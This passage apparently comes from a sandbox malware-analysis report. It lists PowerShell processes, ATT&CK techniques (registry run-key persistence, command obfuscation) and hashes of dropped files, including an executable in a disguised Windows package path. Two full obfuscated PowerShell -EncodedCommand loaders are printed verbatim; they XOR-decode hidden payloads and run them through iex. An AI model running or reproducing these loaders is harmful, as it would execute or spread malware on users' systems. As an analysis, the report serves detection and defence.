bABrAEUAUwBkADcAQQBCAE0AWQBOAFcANQBSAEUAZwBNAFAARQB4AGsAZQBkAFIARQB1AFEARwA0AFIASgBCAE4ALwBIAHgAbwB5AEoAUQA4AFQASABGAHcAUABHAFEATgA0AEQAeABwADYASgBRAG8AUwBOADMANABVAEkAZwB4AGUATQB4AGsAUQBCADEAUQByAEoAWABZAFAARABTAGwAZwBVAHgAawBiAEwAbABFAEYAQwAyAG8ATgBHAHcATgBHAEMAUQBvAE0AZgBRAEUAQgBOADEAdwBQAEoAUQBjAEgASQBoAG8AUQBIAHcAbwBCAEkAUQAwAGgARwB3AE4AawBJAGgAbwBRAEkAUgB3AEIATgBuADAAVABEAFMAOQBrAEQAeQBjAFAARwBCAE0AYgBKAFcAbwBJAEUAZwBNAFAAVgBpAEEAbQBBAEEAawBIAEcASABVAFQARABTADkAdwBEAEIAawBOAGYAQgBZAG8ASABHADUAVABHAHgAeAA3AEMAQQAwAGMAQQBCAFkARgBDAEUAcwBJAEoAQgB4AFMAVQBTAEkAeABEAEYAOABEAE4AdwAwAFAASgBUADAASABNAHgAcAA2AEoAUQBvAFEATwBtADQAUQBHAHgATgBrAE0AaABvAFEAQQB4AFEAYwBPAG4ASQBUAEcAMwBaAFMAQwB5AEEAaABEAEIASQBZAE4AWAA0AFQASQB3AHgAZABBAEEAOABkAEMAMQBZAEQATQBXAG8ATgBHAHcATgBHAEMAUQB3AHkAUABnADAAcABOAFYAQQBVAEkAdwB4ADQAVgBpAFkAYgBEAEYAOABEAE4AdwAwAFAASgBUADAASABNAHgAcAA2AEoAUQBvAFEATwBtADQAUQBHAHgATgBrAE0AaABvAFEAQQB4AFEAZgBPAG4ASQBUAEkAeQBsADQARgB5AEEAUABDAHgAVQBEAE0AUQBrADEASQBuAFoAZwBIAGgAQQBmAEgAQQBFAEEATwBuADUAWABJAEMAcABTAEQAQgBwADcASwBWAFEARABNAFEAawB1AEkAMwBaAFMARQBTAEUAawBIADEATQBwAE4AVwAwAEUARQBoAE0ARABWAHgAawBRAEIAdwA0AFQAUQBXAG8AVABKAFMAbABqAEEAQQA4AGUAQgAxAGMAbwBHAFUAQQBQAEoAUwBsAGcARgBBAG8ATgBKAFIAWQBRAFEARgBBAFAASQBuAGQAbgBVAEEAdwB4AEgAeABVAG8ATgBWAEEAYQBJAHoAMQAzAFgAZwBvAE4AZQBBAG8AdQBDAHcAawAzAEcASABaAGUAQwB4AGsAQQBHAHgAVQBRAEoAVwBvADIARwBCAHgANABGAFIAWgA2AEcAMQBZAHUATgBWAFEAVwBHADMAZAA0AE0AeABrAFEASABBAEUARwBKADMANABRAEkAdwBNAFAAVgBCAFoANwBIAHcANABwAEgARwBvAHAARwB5ADgAUABFAGgASQBsAEMAMQBZAHUATgBXADQAYQBJAEIATgBnAEgAUQBvAEwAZgBDAE0AbwBRAEEAMQBUAEYASABkAGsARQBTAEEATgBJAFEAcwBZAFEAQQBFAFQASQB5AGwAUwBOAHkARQBqAEIAdwA0AHUATwBtAG8AUABJAGkAbABhAEMAeQBBAHgARABCAEkAZgBRAFcAbwBMAEkAaQBwAGsAUAB5AEkAUABHAHgATQBiAEsAbQBJAEwASQBCAE4ATwBEAHgAbwBsAE4AUQBvAEQATQBRAGsAcQBJAEIATgBrAEQAQgBrAGYAZQBWAEUARgBDADIAbwBRAEkAdwBOAGUASABpAEUAeABlAEMAQQB2AE4AVwA0AEoASgBSAHgAawBGAHkARgA2AGUARABNAHIASgBRAGsAUABGAFEATgBhAEUAeQBJAFEASABBAEUAYQBJAFgAawBOAEYAQQBKAG4ARQBCAFkAeABMAGwARQBGAEMAMgBvAFEASQB3AE4AZQBIAGkARQB4AGUAQwBRAG8ATgBVAEEAVgBKAFgAUgBlAEQAeQBBAGwASAB6AE0AUQBLAG4ASQBYAEkAQgBNAEQARAB5AGMAUABHAEEARQBhAEkAWABrAEkARwB5AGwAdwBGAEMAQgA2AEcARgBFAEYAQwAyAG8AUQBJAHcATgBlAEgAaQBFAHgAZQBEAFUAUQBLAG4AWgBUAEcAQgB4ADgAVgB4AEEAZgBlAEYAWQBRAEsAbgBKAFIARwBCAE4AQgBBAEIATQBiAEQAQQBnAGYATgBHAGsAWgBEAEEARQBHAEMAUQB3AHkAUABnADAAbwBOAFUAQQBNAEkAaQBrAE8ARQBoAFkAbABHAHgAdwB1AE4AWAA0AGEASgBRAEYANABFAFMAYwBmAGUARgBZAEQATgBnAGcARQBEAHcAQgBSAFUAQQB3AHgASAB4AFUAbwBOAFYAQQBhAEkAegAwAEQATQB5AGMAUABDAHgAOAB1AE4ARgB3AE0ARwB4AE0ARABKAFMAYwBsAEMAeABZAG8ATgBYADQASwBJAHcATgBqAEEAQgBNAGIARABBADAAdQBPAG4ASgBTAEcAeABCAEYAVQBBAGsAUABOAFIAVQByAE8AbgBJAFYARABTAGgAUwBEAHkASgA2AEcAegBNAG8AUQAzAEoAUwBJAHkAMQAzAFgAZwBvAEwASAAxAFkAcABIAEcANABQAEQAagA1AEYARABDAEUAUABOAFEAawBwAEgAdwBBAFcARQBCAE4ATwBGAEMARgA3AEsAUwBNAFEASgBRAGsATABJAHkAbABrAE0AeQBjAFAAQwB4ADgAdQBNAFgAbABhAEMAQQBkAGsAQwBoAG8AZgBOAFIAdwBRAEoAawB0AFUAQwB3AHgAYQBEAEMAWQBQAEYAeABRAHIASwBsAEEASgBDAEEAQQBHAEEAQQBvAGgASABBAGsAQQBPAG0ASQBKAEcAeQBsAHYARQBoAFUAUABDAHgAdwByAFEAZwAwAEwASQB4AE4AagBGADMAYwA1AEQAaQBjAEQARwBFAHQAVQBGAEMAbABnAEMAUwBJAFEAQQAxAFkAUQBLAG4ARQBYAEYASABaADQAQwBCAGsAZgBIADEAYwBvAE4AVwA0AEkARgB3AE4AdwBIAFMASQB4AEQAQgBJAGIASgBYAFoAVABJAEIATQBQAEUAZwBvAEwASAB3ADQAVABRAEUAdwBRAEMAQQBjAEgATQBpAEEAbABJAFEAZwBRAFEARwA0AGEAQwBBAGQAawBVAGkAZAA3AFAAUgBRAEQATQBRAGsAeQBJAGkAbABhAEUAaABwADYASQBSAEUAVABKAFUAOABFAEMAdwB4ADAAQwBDAEEAUABOAFIAdwB1AEsAbABNAEUARABSAEoANABDAHkAYwBBAEgAeABZAG8ASAAxAHcAWgBDAEEAZABrAEYAQwBFAFAASgBSADgAbwBDADMAawBYAEYAdwBOAHcASABTAEoANABlAEEANABvAEoAVwAwAEUAQwB3AHgAYQBEAEMAWQBQAEYAeABRAHIASwBsAEEASgBDAEEAYwBIAE0AaABvAFEAQQB4AFEAZgBOAFgANQBUAEkAQQBkADMARABDAEUAbABKAFIARQBvAE4AVwBrAEUARABSAEYAawBDAHkAQgA2AEEAeAA4AHIASwBuAHAAVABJAEIATQBQAEUAZwBvAEwASAB4AHcAVABIADIAbwBNAEcASABkAFoAQQBBADgAZABGAHgAQQBwAEgAMwBZAFAARABqADUAQwBYAGcAPQA9ACcAOwAkAGcAeQBjAHIAPQAnAEEARAA2AGcAQwBIAE0AZgBKAHIAOABjACcAOwAkAGcAdwBtAHYAeQBoAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGsAdgBxAGMAcwBxACkAOwAkAHgAZwBuAGgAaAA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABnAHcAbQB2AHkAaAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABnAHcAbQB2AHkAaABbACQAaQBdAC0AYgB4AG8AcgBbAGIAeQB0AGUAXQAkAGcAeQBjAHIAWwAkAGkAJQAkAGcAeQBjAHIALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeABnAG4AaABoACkAKQB8AGkAZQB4AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JABrAHgAYQBnAGsAbgA9ACcAQQB3AFkAVQBPAEcAawBpAGUAVABrAFYAUQBDAGwAYQBBAEEAZABaAEcAVgBZAFUAZgBXAFkAcwBiAGwAZwBXAEgASABOADcASgAxAGMAVQBlAFMAWQBTAGMAUQBNAFcASABBAGwAbgBQAFYARQBoAGYAUwBZAFYAZgBpADQAUQBCAFMAMQBKAFAAVgBFAGgAWQBTAEEAUwBDAGkAWQBwAEUAdwBaADcATwBGAGMATABYADIAWQBUAGIAMQBoAFYAQgBpAHAASgBJAFYAYwBKAGYAVwBjAFYAVgB5AEkAUABLAHkAOQA4AEkAbgBnAGYAQgBoAGsAdgBiAGwAawBQAEIAagB0AGUASgBtAG8AVQBRADIAQQBVAFYAegBJAGIASwBoAEoAcwBkAEgAbwBKAFYAegBvAFMAZQBsAGsAMwBFAEgATgBGAEkAVwBrAEUAWgBTAFUAcwBiAGoAbwAyAEUAQgBsAGoAUAAzAG8ARQBSAEQARQBqAEMAegA0AFEARQB4AFoAagBmAFgAOABaAEMAagA4AFgAVgBEADQASgBMAFEASgBzAE8AVwBFAFUAVwB5AEUAdgBiAGwAMABJAEgAQQBsAG4ATwAxAEEATABaAFMAOABTAGMAUQBNAEUASAB3AFoAcgBOADEASgA5AGMAVAA0AFMAZgBnADgARQBCAFIAZAA3AE8ARgBJAFUAZABXAGMAcwBiAFIAdABVAEEAdwBaAC8ASQAxAEEAYgBSAHkANABVAEMAeQA0AFMAQQBBAFUAZABLAG0AYwBoAFoAVwBVADYAYgBGAEUASwBLAEMAeAA3AEoAMQBjAFAAYwBRAEkAVABZAFMAWgBUAEUAeABZAGQATwBHAFkAaABkAFMATQBzAGYAbABFAFgAQgBqAHQAZQBKAGwAWQBFAFYAMgBRAFQAVgBEADQAYgBFAHcASgBzAGQASABvAFAAWQBTAE0AUwBiAGgAQQBRAEIAagB0AGUASgBsAGQALwBjAFQAbwBzAEMAdwBRAEsAQQBBAFUAZABLAG4AawBMAEIAbQBjAFUAZgBoADkAVQBCAGoAaAAvAEkAMQBJAGkAVgB5AHcAUwBmAGwAZwBFAEcAUgBKAHMASgBsAEUAaQBaAFMAVQBVAGYAUgB0AFUATABYAE4ARgBQAFYARQBMAFoAagBFADkAZQBqAG8ATABMAEMAOQBkAE8ARgBjAGkAZABTADQANgBVAGkAWQBWAEwAUgBZAFkAZgBYAG8AUABBAGoAZwBTAGUAaQBrAFUAQQBBAEkAYwBKAFYARQBoAFkAagBFADYAYgBsADAAVgBMAFEASgBzAEoAbABZAEUAVgAyAFEAVABWAEQANABiAEUAdwBKAEcASwBsAFkAMgBRAEQAMABTAEMAaQBvAFAARQAzAE4AQgBKAEgAbwBJAEEAegBFADgAZgBpADUAVgBMAEMAdwBZAGYAMQBBAFUAZABUAFEAOABmAGoAbwBOAEsAaABaAFoATgBWAEYAKwBkAFMAYwA2AFUAbAAwAFAATABBAGwAOABJAG4ANABQAFIARABFADgAZgBpADUAVgBMAEMAdwBZAGYAMQBBAFUAZABpAE0AbgBDADEARgBTAEsAeQA5ADgAUABXAHMAWQBRAEcARQA4AGYAagBvAEwASwBDADkAagBKAFYAWQBQAGMAbQA4AC8AZgBBAHcAUABMAFEASQBjAEcAVwBwACsAVwB6AG8AcwBjAFQANABRAEUAeABaAC8ARwBHAG8AVQBmAFMAUQAvAGUAbABrADIARQBCAGwAagBQADIAWQBMAGQAVwBZAFgAZQBpAGsASQBMAFgASgB2AEkAVwBsACsAWAB6ADgANQBRAHgAdwBUAEUAeQBoAHMASQBuAGsATABZAFQANABYAFYAeQBZAEwATABBAEkAWQBDAFYARgAvAFoAUwBNAFMAZQBpAGsAWABFADMASgA4AEsAbgA0AFAAVwBEAEUAVABRAHgAcwBJAEwAQQBsAEoAZgAxAFkAaABaAFMANABzAGUAaQBsAGEAQQBBAEoALwBKAG0AbwBiAFEAeQB3AHYAWQBRAEEAQgBBAHcAWgAvAEkAMQBBAGIAUgB5ADQAVQBDAHkANABTAEIAUwBvAFkASQBWAFkARQBZAGoAawA3AGUAaAA4AEUAQQB3AFoALwBKAFYASQBpAGYAVAA0AFQAZQBsADAAbgBLADMASgA3AE8ARgBjAFAAWAB6AEkANQBRAHgAcwBJAEUAMwBOAGQAZgBsAEIALwBZAFMASQAvAGYAVgBnAEUASwBCAFoAMABLAG4AZwBQAFkAVwBJAFMAQwBqAEoAVgBFAHgAbAByAEoAbgA4AG4AWQBUAG8AVgBDAHkAWQBhAEsAQgBsAHYAZgBWAEkAYgBDAGkATQA5AGEAaQBwAFUAQQBBAEoALwBlAFYAZAAvAGEAVwBBAHMAWQBTADQASQBCAFMAcAAvAEkAVgBCACsAZgBTADgAWABZAFMAcABUAEsAQgBZAFUATwBIAG8ARQBBAHoARQBzAGIAaABBAFoARQB4AEoAdgBlAG4AbwBQAFYAVAA4AFoAYwBDAGsATgBBAEEAawBkAGUAbABVAGYAYwBUAG8AVQBjAFMAWQBQAEEAQQBsAGUAZQBuAGsATABkAFcAQQBUAFYARgAxAFIASwBoAGwAbwBLAG0ATQBmAGMAagAwAHYAWQBSAGgAVgBLAHkAOQAzAE4AVgBBAGYAYwBXADQALwBmAHcAdwBNAEUAeABsAG4ASQBYADgAWgBDAGoAOABYAFYARAA0AEoATABRAEoAdgBlAG4AbwBQAFkAVABBAC8AZQBsAGsAVwBFAHgASgBzAEoAbABkAC8AYwBUAG8AcwBDAHcAUQBLAEEAQQBrAGQAZQBsAFUAWQBSADIAOAA1AEMAdwBRAE8AQQBBAEoASwBKAGwAWQBFAFYAMgBRAFQAVgBEADQAYgBFAHcASgBHAEsAbABZADIAUQBEADAAcwBjAFMANQBUAEsAQQBsAHIASgAxAEkAZgBjAG0AOAAvAGYARgAwAFAATABUAGcAYwBHAFcAcAArAFcAegBvAHMAYwBUADQAUQBFAHgAWgAvAEcARwBvAFUAZgBTAFEAbgBiAGkAWgBUAEsAQgBZAFUATwBIAG8AUABBAGgAQQBUAGYAagA0AEoATABSAGwALwBJAFgAbwBQAFYAeABJADUAVgBSAEEAMQBLAG4ATgA3AE4ARgBCADkAUwB4AFEAcwBmAGwAawBUAEsAeQAxAFYARAAxAEEARQBjAFIATQB2AFkAVABvAEwARQBRAFIAVgBPADIAcAArAGQAUwBVAHUAZgB5AG8ATABFAEgATgBaAEoAVwBsACsAWgBTAHcAdQBmAEYAawBUAEUASABKAG4ATwAxAEIAKwBDAGoAcwBTAGUAbAAwADcASwBCAFkAWQBKAGwARgAvAFYAeQB3ADYAVQBpAFkAVgBLAHkAOQAvAEkAVgBFAGkAWQBSAE0AcwBiAGgAQQBUAEwAUwB4ADcATgBGAFkAWgBBAGoANABVAFYAQwA0AE4ARQB4AGwAbgBLADMANQAvAFYAegBvAFgAQwBnAFEASwBFAEIAWgAwAGUAVwBvAGgAZQBXAFUAcwBiAHgAQQBRAEsAMwBOAEoATgAzADQATABhAFQAVQBuAEMAMQBFAFcATABRAFoANwBPAEYAYwBKAFkAVABvAFUAZgBnAFIAUgBFAHgAbABuAGUARwBjAGIAZABTAE0AdgBiAGcAdwBQAEsAaQBnAFkASQBWAFkATABaAGoAZwA1AFEAeABzAEkARQBCAFoAVgBKAFYASQBVAFgAeQBNAC8AZgBWAGcARQBIAFMAeAA3AGYAbgA4AGEAZgBUAHcAWABmAGoANABJAEwAUgBaAFYASQBXAGsASwBZAFQANABWAEMAeAB3ADIASwBpAHgAQgBJADIAbAArAFoAUwA4AC8AZQBsAGsAaABMAFEAUgBWAE8AMgBsACsAQwBpAE0ANQBRAHgAcwBJAEUAQgBaAFYASgBWAEkAVQBYAHkATQA2AFUAagBvAFAASwB3AFoAcgBlAEgAbwBJAEEAegBFADgAQwBDAG8AMgBCAEQAdAB2AEcAWABrADIAUQBHAEUAOABjAFMANABYAEUAdwBaAG4ATwBIAG8ASQBBAHoARQBpAFYARAA1AFEAQgBSAGQAagBKADEASQBMAFoAVAAwAFMAYgBoAEEAUABFAHcAZAAvAEoAVgBCACsAUgB3AE0AVgBWAEEAUQBOAEUAMwBOADcATgBIAG8AUABBAGgAUQBTAGYAeQBaAFQARQBCAGwAbgBmAFYAYwBVAGMAbQBFADUAUQBEAG8AYgBLAHgAWgAvAEoARgBFAGwAQgBoAE0AcwBiAGgAQQBMAEwAQgBKAHMAZABIAG8AUABWAHcAYwBnAGYAUwA0AHQAQQB6AHQAZQBlAG4AawBMAGQAVwBRAFgAWQBRAHcATABMAFIAWgA3AE4AWABvAEkAQQB6AEUAaQBWAEQANQBRAEIAUgBkAGoASgAxAEkATABaAFQAMABTAGIAaABBAFAARQB3AGQALwBKAFYAQgArAFIAdwBjAFYAVgBBAFEAVwBFAEgATgBCAE8AbQBvAGIAUgBEAEUANgBiAHoANABaAEUAeABsAG4AQgAyAGsAUABjAGoAMABVAEMAMQAwAE8ASwBpAHgARgBOADMAbwBQAEEAaABzAFUAQwB3AHcAVgBLAHkAMQAvAGUARgBBAEwAWgBqAEUAbABiAGwAMQBUAEUAeABsAG4ASgBXAHAALwBZAFMAWQBTAFYARAAwAEUAQgBSAGQAbgBmAEYARQBuAFMAegBvAFMAVgBEADQAUQBBAEEAUgBGAFAAVwBsACsAVwB6AG8AVgBDAGoAbABVAEIAagBoAC8AUABGAGMARQBaAFMATQBzAGMAUwBVAEUARwBSAEoAdgBBAG0AawBVAFUAQwBJAGoAQwB5AFkATQBFAHgAWgAvAGYARgBFAEwAWgBUADAAZwBmAGkANABaAEsASABCAGoASQBWAGMARQBZAFMAWQBVAFYAQQB3AFoASABIAE4ANwBmAFgAbwBQAEEAaABRAFUAZgBoAEEAVgBMAFgAQgBqAGYAVwBvAFUAZQBXAFkAbABiAGoASQB6AEsAeQBwAG4ASgBWAGMARQBZAFQAbwBWAFYAQQBRAFAASwBqAGgAcwBPAFcARQBMAEMAaQBNAFMAZgB5AFoAVABLADMASgB2AEIAMgBrAG4AVgB5AEEAWABiAGwAMABOAEgAWABNAFkARABtAG8AVQBZAFcAWQBzAFkAUwBJAFQARQB4AGwAZwBLAG4AOABhAGYAVwBZAHYAWQBTAEoAVABIADMATgBGAEkAVgBFAG4AZABXAFEAdgBiAGcAUQBRAEUAQgBaAG4AUABtAGsAZgBjAGkASQBsAGYAZwBRAEkARQB3AFoANwBPAEgAdwAyAFEARAAwAFgAVgB6AHAAUwBLAHkAeAAvAE4AMwA4AG4AWgBXAEkAcwBiAGkAWgBTAEwAUQBaAEIATwAxAEUAZwBZAFMAWQBVAGIAagA0AHUASwBCAFkAYwBQAFYAYwBQAGMAbQA4AC8AZQBnAHcAeQBIAHcAVgB2AEcAWABrADIAUQBHAEUAOABmAGgAaABUAEwAUgBZAFkASgBsAEEAMQBCAGgAUQBVAGYAaABBAFYATABYAEYARgBKAFYAQQBoAFkAUQBNAHMAWQBTAEkAWABLAEIAWQBZAEoAVgBjAEwAWgBqAEUAbQBhAGkAawBJAEUAeQB4AHIAUABsAEIAKwBaAG0ARQA1AFEARABvAFMATABRAGwANwBPAEcAawBFAGYAaQBNAGoAVgBEADQAWgBMAFEAWgByAE4ARgBjAEoAWAB5AE0AUwBmAGoANABhAEwAUwB4AHIAUABuAG8ASQBBAHoARQA4AEMAQwBvADIAQgBCAFYANwBBADMAawAyAFEARwBFADgAZgBoAGgAVABMAFIAWQBZAEoAbABBADEAQgBnAFUAcwBZAFMAWgBUAEUAQgBsAG4AZgBXAEoAKwBDAG0AYwBVAFYAegBrAEUARwBSAEoAcwBOAFgANABJAFEARwBFADgAZgBoAGgAVABMAFIAWQBZAEoAbABBADEAQgBoAFEAVQBmAGgAQQBWAEwAWABGAC8ASQBWAEUAYgBkAFMATQBzAGYAeQBaAFQARQBCAGwAbgBmAFgAbwBJAEEAegBFADgAZgBqAEkATABLAHcAbABqAEkAWAB3ADIAUQBEADAAWABWAHoAcABTAEsAeQB4AC8ATgAzADgAZwBmAFcAWQB2AFkAUwBKAFQASAAzAE4ARgBJAFYARQBuAGQAVwBRAHYAYgBnAFEAUQBFAEIAWgBuAFAAbQBrAGYAYwBtADgALwBlAGoAcABUAEsAaQA5ADcASQBYAHcAMgBRAEQAMABYAFYAegBwAFMASwB5AHgALwBOADMAOABnAFYAegA0AFgAQwB6ADQAMgBLADMAQgBuAGYARgBFAGwAYwBtADgALwBlAGoAcABUAEsAaQA5ADcASQBYAHcAMgBRAEQAMAB2AFYAeQBaAFMARQBIAE4AQgBQAFgAbwBJAEEAegBFAC8AVQBEAGsATQBBAHcAbABGAGYAbABjAGkAUQB6AG8AVgBiAGoAawBXAEgAdwBaAHIATgAxAEoAOABCAGoANABVAGIAagAwAFQAZgBUAEIAdQBEAEgAbwBtAFEARwBFAFMAYwBTAEoAVwBBAEEAbABlAGUAbgBrAEwAZgBXAFUAcwBWAHcAYwBFAEcAUgBKAHYASABtAGsAYgBWAHkAWQBWAEMAagBvAFAASwBpAGcAYwBHAFcAcAArAFcAegBvAHMAYwBUADQAUQBFAHgAWgAvAEcARwBvAFUAZgBTAFEALwBlAGwAawBoAEUASABKAC8AUABWAEYAKwBCAHoARQA4AGYAagBvAGIATABRAFoARgBOAFcAcAArAFcARABFADYAYgB6AG8AYQBLAEIAWgBKAEkAMgBrAFUAZQBqAEUAbgBlAGcAOABJAEUAQgBaAFYASgBWAEkAVQBYAHkATQA2AGUAaQBrAEkASwBoAFkAYwBKAG0AbwBoAEIAeQBZAC8AZQBsAGsAeQBLAGkAeABCAE8ARwBwACsAWAB5AEUAdgBiAGgAOABFAEEAdwBaAHIAZgAxAEkAVQBWAHoANABTAGIAagA0AGIAQQBBAEkAYwBHAFcAawBVAFkAVwBZAFgAYgBsADAATgBLAGoAaABzAEoAbABJAGkAWQBXAGMAVQBWAEQAbwBaAEEAQQBJAGMARwBHAG8AVQBmAFMAUQBpAFYAQwA0AFgARQB4AEoAcwBKAG0AbwBpAGYAVwBjAHYAQwB3AFEAVABBAEEASQBjAEcARwBvAFUAZgBTAFEAagBmAGkANQBUAEsAQQBKAHMASgBsAGQALwBjAFQAbwBzAEMAdwBRAEsAQQBBAEkAYwBDAEcAawBVAGYAVAB3AFYAVgBBAFEAVQBMAFEAWgBCAE8AMQBFAGwAYwBqADAAcwBDAHgAaABRAEsAbgBKAC8ATwBYAG8AUABBAGgARQBVAEMAaQBJAEoARQB4AFYAZQBlAGwASQBiAGEAagBFADkAZQBqAG8ASgBMAFgATgAzAGUAMwBnAGYAYwBXAEUALwBmAGoANQBYAEsAQgBsADgASwBuADQAUABjAFcAOAAvAGYAagA0AFEASwBuAE4ANABLAGwAWQAxAGMAVABvAFQAZgBnAFIAVABBAEEAVgBvAEsAbABVAFkAUgAyADgALwBmAGkAWQBMAEwAUQBaAGoASQBuAG8ARQBRAEQARQBzAFkAUQBBAFQATABRAEoAcwBOAFgAbwBFAEEAMgBFAFEAYgBSAHcAUABMAEEAWgBCAGYAWABvAEkAZABtAHMAPQAnADsAJABkAGMAYwBwAHcAPQAnAEkAQQAtAE0AMwBMADMAVgB2ADkAaABjACcAOwAkAGwAaQB3AHkAcgA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABrAHgAYQBnAGsAbgApADsAJABjAGYAZQB4AGYAcAA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABsAGkAdwB5AHIALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAbABpAHcAeQByAFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAZABjAGMAcAB3AFsAJABpACUAJABkAGMAYwBwAHcALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYwBmAGUAeABmAHAAKQApAHwAaQBlAHgA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f7ad9abdcd636c2c6889999c25838241b47d0a25155ace08f64e55a25eb3ff9
MD5 7aa40f01332d390a0557187ed788e89f
SHA1 7d7c1a1c58e25749832d6634611c29cc8fabbf19
SHA512 1d9d4d55030ef6e8d1e386e61671f00bc271b8df8179ca19846c2b39cbb2bca110b67b3d4a6d1f200966057f5c6cea3f4dd1ad02d11e42ec7d013c6803954966
SSDEEP 1536:iKLmShYoNz8KMSfKQ1EflJntHY9h4iUxaR40i71Yi68nvwAOdB4V3CNBQkj2jaVP:iKLmShYoNz8KMSfKQ1EflJnpY9qiUaR9
TLSH
T135637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 eeca49f740c746bc6b274cc683414565f6ac67fb4fa9e4c677896696d5e05dbe
MD5 4eeda15b1bcec8ba2f7e066a43038c88
SHA1 a0e43bd5a4ba4d7be23acc8bf29c720bb9bcacc7
SHA512 523f311ecae19c6057c3baa857d12c15c68c06bc41249958634b40502202d09b00a14a2bfa07d8b35869c84f5fcd800d4be3d561e6e1583cee6b11d14af63f78
TLSH
T144215637B3DC8664D88A413A50CEAC1032B7C7DB809ECEEBBB84D555B42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
MD5 d0d3fac03f88767610f5a99b8ef62534
SHA1 ea88be022253f1717dc92755386a6b006d8e1161
SHA512 22253d382bb8cd22a7219803e10bcc5d1c070aef98e01f99ac6589d6361d6571c45b89dd5ba1ff3ad4b1c8f01508873878aab9be1526b777a8ae574c3b86c57e
TLSH
T1C921AF37B3CC8714DC8A403A50CDAC1032B5C7D7409ECF6B7B84D544B42F599CE60150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 df5de984121ab9eb702c2ef1c0716750e770551b5a5551fee347941d5bdfab01
MD5 8c274452b4cefabecd528a1214159e4a
SHA1 59fefbf3c332bed6d778918035ad778fc2d3cad5
SHA512 9bd08a264f82cf86abb106e99d71e24f4c93aac148ef207091e370f242e49fef2bdff11fb29d20b1b6e1001ccf746a6191f571e33772e0eedbd54b1ed1aa3102
TLSH
T1B0217633B3CC8654C899013A10CEAC1036BB87CB409E8E9B6B84D519A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

ContentDeliveryManager.exe

Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_3wekybaf8bbwe\logs0f\ContentDeliveryManager.exe
Size 4.6MB
SHA256 3b0beb9596dc10d3f95bfadd81dafc1df57d0d5c75ca381fb6cda8c03013ef18
MD5 7d977f7c02f2f967f9dabbcbc68b3871
SHA1 d2692031a5139a3656804444b550a45f630193df
SHA512 46e86b9ccd74f4f02914563ca7436d56f0323711ec4a12e0216c5e73898530ce5567d072655b657f7ce6eee029f128f5e9bd4ce6eb9880cfc5df22e6aacc6c88
